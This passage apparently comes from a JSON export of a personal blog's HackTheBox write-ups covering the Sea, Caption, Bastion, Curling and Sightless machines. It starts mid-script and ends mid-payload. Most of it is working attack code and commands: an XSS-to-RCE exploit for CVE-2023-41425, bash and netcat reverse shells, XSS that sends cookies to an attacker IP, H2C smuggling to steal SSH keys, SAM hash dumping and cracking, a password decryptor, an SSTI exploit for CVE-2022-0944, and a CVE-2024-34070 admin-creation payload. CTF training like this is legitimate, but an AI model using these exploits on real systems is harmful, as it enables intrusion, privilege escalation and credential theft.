str(args.url).replace(\u0026#34;loginURL\u0026#34;,\u0026#34;index.php?page=loginURL?\u0026#34;)+\u0026#34;\\\u0026#34;\u0026gt;\u0026lt;/form\u0026gt;\u0026lt;script+src=\\\u0026#34;http://\u0026#34;+str(args.ip)+\u0026#34;:8000/xss.js\\\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;form+action=\\\u0026#34;\u0026#34; link = link.strip(\u0026#34; \u0026#34;) print(yellow, \u0026#34;\\n[+] Send the below link to admin:\\n\\n\u0026#34;, green + link, reset) print(\u0026#34;\\nStarting HTTP server with Python3, waiting for the XSS request\u0026#34;) os.system(\u0026#34;python3 -m http.server\\n\u0026#34;) if __name__ == \u0026#39;__main__\u0026#39;: try: arguments() createRevPHP() createFileXSS( createData( args.url, args.ip, args.port, args.remote_host ) ) printInfo() finally: if os.path.exists(\u0026#39;xss.js\u0026#39;): os.remove(\u0026#39;xss.js\u0026#39;) print(yellow,\u0026#34;\\n[+] xss.js deleted.\u0026#34;, reset) if os.path.exists(\u0026#39;main.zip\u0026#39;): os.remove(\u0026#39;main.zip\u0026#39;) print(yellow,\u0026#34;\\n[+] main.zip deleted.\u0026#34;, reset) Make the script executable and run it:\nchmod +x 41425 vpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) ./41425 -u http://sea.htb/loginURL -i $vpnip -p 9001 go in http://sea.htb/contact.php and post a request with website as the payload given by the exploit\nwait until \u0026ldquo;GET /xss.js HTTP/1.1\u0026rdquo; 200 appear in the exploit\nlistener\nnc -lvnp 9001 invoke the revshell\nvpnip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) curl \u0026#34;http://sea.htb/themes/revshell-main/rev.php?lhost=$vpnip\u0026amp;lport=9001\u0026#34; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Looking into existing users we find amay and geo.\ncat /etc/passwd | grep \u0026#39;sh$\u0026#39; root:x:0:0:root:/root:/bin/bash amay:x:1000:1000:amay:/home/amay:/bin/bash geo:x:1001:1001::/home/geo:/bin/bash Looking for credentials in the web app files we found a database.js that contains a bcrypt hash.\ncd /var/www/sea/data cat database.js | grep password The hash contains escape sequences like \\/ that need to be replaced with /. This is done using sed 's/\\\\\\//\\//g'.\nBrute Force the Hash Use a hash cracking tool like hashcat or John the Ripper to perform a brute force attack on the password hash, or use a service such as crackstation for this purpose.\necho -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat -m 3200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat -m 3200 /tmp/hash.txt --show rm -rf /tmp/hash.txt Now you can SSH:\nssh amay@sea.htb Web Interface on Port 8080 List local running services:\nss -tulpn 8080 has a service, so forward it to your machine:\nssh -L 1234:localhost:8080 amay@sea.htb http://localhost:1234/\nLog in as amay.\nJust open the page in your browser and copy the token from the cookies.\nThen, send the POST request to show the content of /root/root.txt and set the bash binary as SUID:\ncurl \u0026#39;http://localhost:1234/\u0026#39; -X POST -H \u0026#39;Authorization: Basic YW1heTpteWNoZW1pY2Fscm9tYW5jZQ==\u0026#39; --data-raw \u0026#39;log_file=\u0026#39;$(echo \u0026#39;/root/root.txt;chmod +s /bin/bash\u0026#39; | jq -sRr @uri)\u0026#39;\u0026amp;analyze_log=\u0026#39; | grep -oE \u0026#39;[a-f0-9]{32}\u0026#39; This will display the flag.\nssh amay@sea.htb After logging, you can run:\n/bin/bash -p And get a root shell.\nSummary Sea: use CVE-2023-41425 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-09-16T00:12:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Sea/","protected":null,"snippet":"Sea: use CVE-2023-41425 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2023-41425"],"title":"HackTheBox Sea Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.33 caption.htb Script to add hosts automatically ip=\u0026#34;10.10.11.33\u0026#34; domain=\u0026#34;caption.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV caption.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST Nmap scan report for caption.htb (10.10.11.33) Host is up (0.053s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http-proxy HAProxy http proxy 2.0.0 or later |_http-open-proxy: Proxy might be redirecting requests |_http-title: Did not follow redirect to http://caption.htb 8080/tcp open http Jetty |_http-title: GitBucket Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel Web Application - Port 80 http://caption.htb\nThe web application on port 80 presents a login page.\nWeb Application - Port 8080 http://caption.htb:8080\nPort 8080 runs a GitBucket instance with a \u0026ldquo;Caption-Portal\u0026rdquo; repository. A commit within this repository (http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a) revealed the password for the user \u0026ldquo;margo\u0026rdquo;.\nUse these credentials, access to http://caption.htb as \u0026ldquo;margo\u0026rdquo; on port 80.\nXSS Privilege Escalation via Cache Poisoning Cache Poisoning Initial Request to Cache:\nAfter logging in, check if the content is cached by making the following request:\nGET /firewalls HTTP/1.1 On the second request, you\u0026rsquo;ll see that the content is cached:\nx-varnish: 1802321 400836 age: 9 Initially, you might see a MISS header, indicating it wasn\u0026rsquo;t cached before.\nXSS Injection via X-Forwarded-Host Inject an XSS payload into the cache using the X-Forwarded-Host header:\nX-Forwarded-Host: \u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;script src=\u0026#39;http://10.10.14.2:8000/xss.js\u0026#39;\u0026gt;\u0026lt;/script\u0026gt; In the response, you should see something like this:\n\u0026lt;script src=\u0026#34;http://caption.htb/static/js/lib.js?utm_source=http://\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#39;http://10.10.14.2:8000/xss.js\u0026#39;\u0026gt;\u0026lt;/script\u0026gt; This confirms the XSS injection point is working.\nHost Malicious JavaScript Host your malicious JavaScript file using Python\u0026rsquo;s built-in HTTP server:\npython -m http.server Clean the Web Cache Clear the web cache to ensure fresh content is fetched:\ncurl caption.htb -X XCGFULLBAN Retrieve Session Cookie Obtain the session cookie by sending this POST request:\nPOST / HTTP/1.1 Host: caption.htb Content-Type: application/x-www-form-urlencoded Content-Length: 40 username=margo\u0026amp;password=vFr%26cS2%230%21 Execute XSS Payload for Admin Token Exfiltration Using the session cookie, craft the following GET request to execute the XSS payload and retrieve the .ssh/id_ecdsa key:\nGET /firewalls HTTP/1.1 Host: caption.htb X-Forwarded-Host: \u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026lt;script\u0026gt;new Image().src=\u0026#39;http://10.10.14.2:8000/?cookie=\u0026#39; + encodeURIComponent(document.cookie);\u0026lt;/script\u0026gt; Cookie: session=\u0026lt;cookie\u0026gt; H2C Smuggling To LFI echo -en \u0026#34;Admin Token? \u0026#34;;read admin_token h2csmuggler -x http://caption.htb -H \u0026#34;Cookie: session=$admin_token\u0026#34; \u0026#34;http://caption.htb/download?url=$(echo \u0026#34;\\\u0026#34;http://127.0.0.1:3923/.cpr/$(echo \u0026#34;/home/margo/.ssh/id_ecdsa\u0026#34; | sed \u0026#39;s/\\//%2F/g\u0026#39;)\\\u0026#34;\u0026#34; | jq -r \u0026#39;@uri\u0026#39;)\u0026#34; The URL http://127.0.0.1:3923/.cpr/ was discovered through fuzzing, and using this endpoint, you can retrieve the private key.\nnano id_ecdsa chmod 0600 id_ecdsa ssh -i id_ecdsa margo@caption.htb Port Forwarding ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb On Target echo \u0026#34;127.0.0.1 \\\u0026#34;user-agent\\\u0026#34;:\\\u0026#34;\u0026#39;; /bin/bash /tmp/payload.sh #\\\u0026#34;\u0026#34; \u0026gt; /tmp/malicious.log echo \u0026#34;chmod +s /bin/bash\u0026#34; \u0026gt; /tmp/payload.sh On Client Thrift is needed install it with your pkgmanager or python.\nmkdir -p exploit cd exploit echo \u0026#34;namespace go log_service\\n\\nservice LogService {\\n string ReadLogFile(1: string filePath)\\n}\u0026#34; \u0026gt; log_service.thrift thrift -r --gen py log_service.thrift cd gen-py cat \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; \u0026gt; client.py from thrift import Thrift from thrift.transport import TSocket from thrift.transport import TTransport from thrift.protocol import TBinaryProtocol from log_service import LogService if __name__ == \u0026#39;__main__\u0026#39;: transport = TSocket.TSocket(\u0026#39;localhost\u0026#39;, 9090) transport = TTransport.TBufferedTransport(transport) protocol = TBinaryProtocol.TBinaryProtocol(transport) client = LogService.Client(protocol) transport.open() try: log_file_path = \u0026#34;/tmp/malicious.log\u0026#34; response = client.ReadLogFile(log_file_path) print(\u0026#34;Server response:\u0026#34;, response) except Thrift.TException as tx: print(f\u0026#34;Thrift exception: {tx}\u0026#34;) transport.close() EOF python3 client.py cd ../.. rm -rf exploit After running the client, /bin/bash will be set SUID and you can get root shell by executing\n/bin/bash -p cat /root/root.txt Summary Caption: enumerate the services, turn the exposed weakness into a shell, and escalate to root.\n","date":"2024-09-16T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Caption/","protected":null,"snippet":"Caption: enumerate the services, turn the exposed weakness into a shell, and escalate to root.","tags":["htb","linux"],"title":"HackTheBox Caption Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.10.134 bastion.htb This ensures that your system can resolve the domain names bastion.htb to the correct IP address 10.10.10.134.\nScript to add hosts automatically ip=\u0026#34;10.10.10.134\u0026#34; domain=\u0026#34;bastion.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV bastion.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 01:26 CEST Nmap scan report for bastion.htb (10.10.10.134) Host is up (0.051s latency). Not shown: 995 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Bastion | NetBIOS computer name: BASTION\\x00 | Workgroup: WORKGROUP\\x00 |_ System time: 2024-09-14T01:26:46+02:00 |_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s | smb2-time: | date: 2024-09-13T23:26:43 |_ start_date: 2024-09-13T23:24:19 | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required Enumerating Samba Shares Check available SMB shares:\nsmbclient -L //bastion.htb Discovered Shares Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin Backups Disk \u0026lt;-- Interesting share C$ Disk Default share IPC$ IPC Remote IPC Mount Samba Share Mount the Backups share to a local directory:\nsudo mkdir -p /mnt/smb sudo mount -t cifs -o username=guest,ro //bastion.htb/Backups /mnt/smb Extract the Virtual Machine Backup List the files inside the backup:\n7z l \u0026#39;/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd\u0026#39; Mount the VHD file as a partition:\nit uses libguestfs install it with your distro pkg manager\nsudo mkdir -p /mnt/vhd sudo guestmount --add \u0026#39;/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd\u0026#39; --inspector --ro /mnt/vhd Extract Administrator Password Copy the SAM and SYSTEM files to extract the hashes:\nconfig=\u0026#34;/mnt/vhd/Windows/System32/config\u0026#34; sudo cp \u0026#34;$config\u0026#34;/SAM ./ sudo cp \u0026#34;$config\u0026#34;SYSTEM ./ secretsdump.py -sam SAM -system SYSTEM local rm -rf SYSTEM SAM secret.txt Extracted Hashes Use crackstation.net to crack the hashes. You will find the hash for user L4mpje.\nUse the Recovered Credentials Pass the hash and list shares:\necho \u0026#34;Hash? -\u0026gt; \u0026#34; ; read HASH smbmap -u L4mpje -p $HASH -H bastion.htb Log in via SSH:\nssh l4mpje@bastion.htb net user l4mpje net user administrator type Desktop\\user.txt System Information Gathering with JAWS Use JAWS to enumerate potential privilege escalation vectors:\nwget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1 echo \u0026#34;In the victim PC run -\u0026gt; powershell IEX(New-Object Net.WebClient).downloadString(\u0026#39;http://\u0026#34;$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;)/jaws-enum.ps1\u0026#34;\u0026#39;) \u0026#34; sudo python3 -m http.server 80 rm -rf jaws-enum.ps1 Extract credentials from mRemoteNG configuration:\nscp l4mpje@bastion.htb:\u0026#34;C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml\u0026#34; ./ Decrypt mRemoteNG Passwords Use the repl to make life easier\n#!/bin/python import re, base64, hashlib, os, sys from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def decrypt(mode, data, password): if mode == \u0026#39;CBC\u0026#39;: return cbc_decrypt(data, password) elif mode == \u0026#39;GCM\u0026#39;: return gcm_decrypt(data, password) raise ValueError(f\u0026#39;Unknown mode {mode}\u0026#39;) def gcm_decrypt(data, password): try: salt, nonce, ciphertext, tag = data[:16], data[16:32], data[32:-16], data[-16:] key = hashlib.pbkdf2_hmac(\u0026#39;sha1\u0026#39;, password, salt, 1000, dklen=32) cipher = AES.new(key, AES.MODE_GCM, nonce) cipher.update(salt) return cipher.decrypt_and_verify(ciphertext, tag).decode() except ValueError: print(\u0026#39;Error: Invalid master password or data integrity check failed.\u0026#39;) sys.exit(1) def cbc_decrypt(data, password): try: iv, ciphertext = data[:16], data[16:] key = hashlib.md5(password).digest() cipher = AES.new(key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(ciphertext), AES.block_size).decode() except ValueError: print(\u0026#39;Error: Decryption failed, possibly due to incorrect padding or corrupted data.\u0026#39;) sys.exit(1) def parse_and_decrypt(conf, password): try: mode_match = re.search(\u0026#39;BlockCipherMode=\u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, conf) mode = mode_match.group(1) if mode_match else \u0026#39;CBC\u0026#39; if mode not in [\u0026#39;CBC\u0026#39;, \u0026#39;GCM\u0026#39;]: print(f\u0026#39;Unknown mode {mode}.\u0026#39;) sys.exit(1) if \u0026#39;FullFileEncryption=\u0026#34;true\u0026#34;\u0026#39; in conf: encrypted_data = base64.b64decode(re.search(\u0026#39;\u0026lt;.*\u0026gt;(.+)\u0026lt;/mrng:Connections\u0026gt;\u0026#39;, conf).group(1)) conf = decrypt(mode, encrypted_data, password.encode()) nodes = re.findall(\u0026#39;\u0026lt;Node .+?\u0026gt;\u0026#39;, conf) for node in nodes: name = re.search(\u0026#39; Name=\u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, node).group(1) username = re.search(\u0026#39; Username=\u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, node).group(1) hostname = re.search(\u0026#39; Hostname=\u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, node).group(1) password_data = re.search(\u0026#39; Password=\u0026#34;([^\u0026#34;]*)\u0026#34;\u0026#39;, node) decrypted_password = decrypt(mode, base64.b64decode(password_data.group(1)), password.encode()) if password_data else \u0026#34;\u0026#34; print(f\u0026#39;Name: {name}, Hostname: {hostname}, Username: {username}, Password: {decrypted_password}\u0026#39;) except (AttributeError, TypeError, ValueError) as e: print(f\u0026#34;Error processing XML: {e}\u0026#34;) sys.exit(1) def main(): try: file_path = \u0026#39;confCons.xml\u0026#39; if os.path.isfile(file_path): with open(file_path, \u0026#39;r\u0026#39;) as file: config_content = file.read() print(\u0026#34;Found confCons.xml in the current directory.\u0026#34;) else: config_content = input(\u0026#34;Enter mRemoteNG config XML: \u0026#34;) parse_and_decrypt(config_content, \u0026#39;mR3m\u0026#39;) except KeyboardInterrupt: print(\u0026#34;\\nProcess interrupted by user. Exiting gracefully.\u0026#34;) sys.exit(0) except Exception as e: print(f\u0026#34;Unexpected error: {e}\u0026#34;) sys.exit(1) if __name__ == \u0026#34;__main__\u0026#34;: main() Obtain Root Access Log in as Administrator:\nssh administrator@bastion.htb type Desktop\\root.txt Cleanup Unmount directories and remove temporary files:\nsudo umount /mnt/smb sudo umount /mnt/vhd sudo rm -rf /mnt/smb /mnt/vhd confCons.xml Summary Bastion: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-09-13T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bastion/","protected":null,"snippet":"Bastion: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","smb"],"title":"HackTheBox Bastion Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.10.150 curling.htb This ensures that your system can resolve the domain names curling.htb to the correct IP address 10.10.11.242.\nScript to add hosts automatically ip=\u0026#34;10.10.10.150\u0026#34; domain=\u0026#34;curling.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV curling.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-13 15:58 CEST Nmap scan report for curling.htb (10.10.10.150) Host is up (0.050s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-generator: Joomla! - Open Source Content Management |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Determine Joomla Version Visit the following URL to check the Joomla version:\nhttp://curling.htb/administrator/manifests/files/joomla.xml Brute Force While inspecting the source of index.php, you find the following comment:\n\u0026lt;!-- secret.txt --\u0026gt;\nNavigate to http://curling.htb/secret.txt to find a Base64-encoded secret.\nDecode it to get the password:\necho \u0026#34;$(curl -s http://curling.htb/secret.txt | base64 -d)\u0026#34; \u0026gt; password Brute-Forcing Joomla Login Use Nmap’s http-joomla-brute script to brute-force the login:\ncewl curling.htb | sed \u0026#39;1d\u0026#39; \u0026gt; cewl.out nmap -p 80 --script http-joomla-brute --script-args userdb=cewl.out,passdb=password,brute.mode=user,brute.firstonly=true curling.htb rm -rf cewl.out password This yields the credentials: Floris:Curling2018!\nYou can now log in at:\nhttp://curling.htb/administrator/index.php Obtaining a Reverse Shell Go to Extensions \u0026gt; Templates or visit this direct link.\nRun a listener and prepare the payload:\nattackerip=$(ip a | grep -A 2 \u0026#34;tun0:\u0026#34; | grep -oP \u0026#39;(?\u0026lt;=inet\\s)\\d+(\\.\\d+){3}\u0026#39;) echo \u0026#34;Add in the index.php -\u0026gt; system(\u0026#39;bash -c \\\u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/$attackerip/9001 0\u0026gt;\u0026amp;1\\\u0026#34;\u0026#39;);\u0026#34; nc -lvnp 9001 Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; Extracting Password Backup To extract and analyze files:\ncp /home/floris/password_backup /dev/shm cd /dev/shm cat password_backup xxd -r password_backup \u0026gt; 1 file 1; bzcat 1 \u0026gt; 2 file 2; zcat 2 \u0026gt; 3 file 3; bzcat 3 \u0026gt; 4 file 4; tar -xvf 4 cat password.txt This yields the credentials: 5d\u0026lt;wdCbdZu)|hChXll.\nLogging in To log in via SSH:\nssh floris@curling.htb cat user.txt cd admin-area echo -e \u0026#39;url = \u0026#34;file:///root/root.txt\u0026#34;\u0026#39; \u0026gt; input watch -n 1 cat report Note: Wait approximately one minute for the flag to appear.\nInfo List Cron Jobs: /var/spool/cron/crontabs/root cd /home/floris/admin-area echo \u0026#39;url = \u0026#34;file://\u0026lt;path\u0026gt;\u0026#34;\u0026#39; \u0026gt; input watch -n 1 cat report Obtaining a Proper Root Shell Follow the above steps to escalate privileges and gain a root shell.\ncd /home/floris/admin-area echo -e \u0026#34;%sudo ALL=(ALL:ALL) ALL\\nfloris ALL=(ALL:ALL) ALL\u0026#34; \u0026gt; /tmp/sudoers echo -e \u0026#34;url = \\\u0026#34;file:///tmp/sudoers\\\u0026#34;\\noutput = \\\u0026#34;/etc/sudoers\\\u0026#34;\u0026#34; \u0026gt; input watch -n 1 cat report Switch to root user\nsudo su - Summary Curling: abuse the Joomla exposure for a shell, then use local enumeration to reach root.\n","date":"2024-09-13T00:10:50+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Curling/","protected":null,"snippet":"Curling: abuse the Joomla exposure for a shell, then use local enumeration to reach root.","tags":["htb","linux","joomla"],"title":"HackTheBox Curling Writeup"},{"categories":["machine"],"contents":"Add Hosts Edit the /etc/hosts file and add the following entries:\n10.10.11.32 sightless.htb sqlpad.sightless.htb This ensures that your system can resolve the domain names sightless.htb to the correct IP address 10.10.11.32.\nScript to add hosts automatically ip=\u0026#34;10.10.11.32\u0026#34; domain=\u0026#34;sightless.htb sqlpad.sightless.htb admin.sightless.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV sightless.htb\nStarting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 04:47 CEST Nmap scan report for sightless.htb (10.10.11.32) Host is up (0.049s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32] | Invalid command: try being more creative |_ Invalid command: try being more creative 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA) |_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Sightless.htb |_http-server-header: nginx/1.18.0 (Ubuntu) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port21-TCP:V=7.95%I=7%D=9/14%Time=66E4F941%P=x86_64-pc-linux-gnu%r(Gene SF:ricLines,A0,\u0026#34;220\\x20ProFTPD\\x20Server\\x20\\(sightless\\.htb\\x20FTP\\x20Ser SF:ver\\)\\x20\\[::ffff:10\\.10\\.11\\.32\\]\\r\\n500\\x20Invalid\\x20command:\\x20try SF:\\x20being\\x20more\\x20creative\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20b SF:eing\\x20more\\x20creative\\r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel CVE-2022-0944 Time to prepare our listener to catch a reverse shell:\nnc -lvnp 9001 The sqlpad service will be targeted using a known vulnerability (CVE-2022-0944). Below is a Python script to automate the exploitation process:\n#!/bin/python import os import requests root_url = \u0026#34;http://sqlpad.sightless.htb/\u0026#34; attacker_ip = os.popen(\u0026#34;ip a | grep -A 2 \u0026#39;tun0:\u0026#39; | grep -oP \u0026#39;(?\u0026lt;=inet\\\\s)\\\\d+(\\\\.\\\\d+){3}\u0026#39;\u0026#34;).read().strip() attacker_port = \u0026#34;9001\u0026#34; target_url = f\u0026#34;{root_url}/api/test-connection\u0026#34; payload = f\u0026#34;{{{{ process.mainModule.require(\u0026#39;child_process\u0026#39;).exec(\u0026#39;/bin/bash -c \\\u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/{attacker_ip}/{attacker_port} 0\u0026gt;\u0026amp;1\\\u0026#34;\u0026#39;) }}}}\u0026#34; headers = { \u0026#39;Content-Type\u0026#39;: \u0026#39;application/json\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;application/json\u0026#39; } data = { \u0026#34;name\u0026#34;: \u0026#34;test\u0026#34;, \u0026#34;driver\u0026#34;: \u0026#34;mysql\u0026#34;, \u0026#34;data\u0026#34;: { \u0026#34;database\u0026#34;: payload }, \u0026#34;database\u0026#34;: payload } def main(): try: response = requests.post(target_url, headers=headers, json=data) print(f\u0026#34;Response status code: {response.status_code}\u0026#34;) print(f\u0026#34;Response body: {response.text}\u0026#34;) if response.status_code == 200: print(f\u0026#34;Exploit sent successfully. Check your listener on {attacker_ip}:{attacker_port}\u0026#34;) else: print(f\u0026#34;Exploit sent, but server responded with status code: {response.status_code}. Check your listener.\u0026#34;) except Exception as e: print(f\u0026#34;Error: {e}\u0026#34;) main() Docker Environment Run the following commands to confirm you are inside a Docker container:\nls / -la If you find /docker-entrypoint or /proc/1/cgroup suggests a Docker environment, proceed to the next step.\nGet Michael\u0026rsquo;s Hash cat /etc/shadow Extract the hash for the user michael .\nBrute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 1800 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt SSH into the Target Use the cracked password to SSH into michael\u0026rsquo;s account:\nssh michael@sightless.htb cat user.txt Foxlor Intended CVE-2024-34070 Port forwarding:\nsshpass -p insaneclownposse ssh michael@sightless.htb -L 8081:localhost:8080 -N -f http://admin.sightless.htb:8081/\nCVE-2024-34070\nadmin{{$emit.constructor`function+b(){+var+metaTag%3ddocument.querySelector(\u0026#39;meta[name%3d\u0026#34;csrf-token\u0026#34;]\u0026#39;)%3b+var+csrfToken%3dmetaTag.getAttribute(\u0026#39;content\u0026#39;)%3b+var+xhr%3dnew+XMLHttpRequest()%3b+var+url%3d\u0026#34;http%3a//admin.sightless.htb%3a8080/admin_admins.php\u0026#34;%3b+var+params%3d\u0026#34;new_loginname%3dabcd%26admin_password%3dAbcd%40%401234%26admin_password_suggestion%3dmgphdKecOu%26def_language%3den%26api_allowed%3d0%26api_allowed%3d1%26name%3dAbcd%26email%3dtest%40gmail.com%26custom_notes%3d%26custom_notes_show%3d0%26ipaddress%3d-1%26change_serversettings%3d0%26change_serversettings%3d1%26customers%3d0%26customers_ul%3d1%26customers_see_all%3d0%26customers_see_all%3d1%26domains%3d0%26domains_ul%3d1%26caneditphpsettings%3d0%26caneditphpsettings%3d1%26diskspace%3d0%26diskspace_ul%3d1%26traffic%3d0%26traffic_ul%3d1%26subdomains%3d0%26subdomains_ul%3d1%26emails%3d0%26emails_ul%3d1%26email_accounts%3d0%26email_accounts_ul%3d1%26email_forwarders%3d0%26email_forwarders_ul%3d1%26ftps%3d0%26ftps_ul%3d1%26mysqls%3d0%26mysqls_ul%3d1%26csrf_token%3d\u0026#34;%2bcsrfToken%2b\u0026#34;%26page%3dadmins%26action%3dadd%26send%3dsend\u0026#34;%3b+xhr.open(\u0026#34;POST\u0026#34;,url,true)%3b+xhr.setRequestHeader(\u0026#34;Content-type\u0026#34;,\u0026#34;application/x-www-form-urlencoded\u0026#34;)%3b+xhr.send(params)}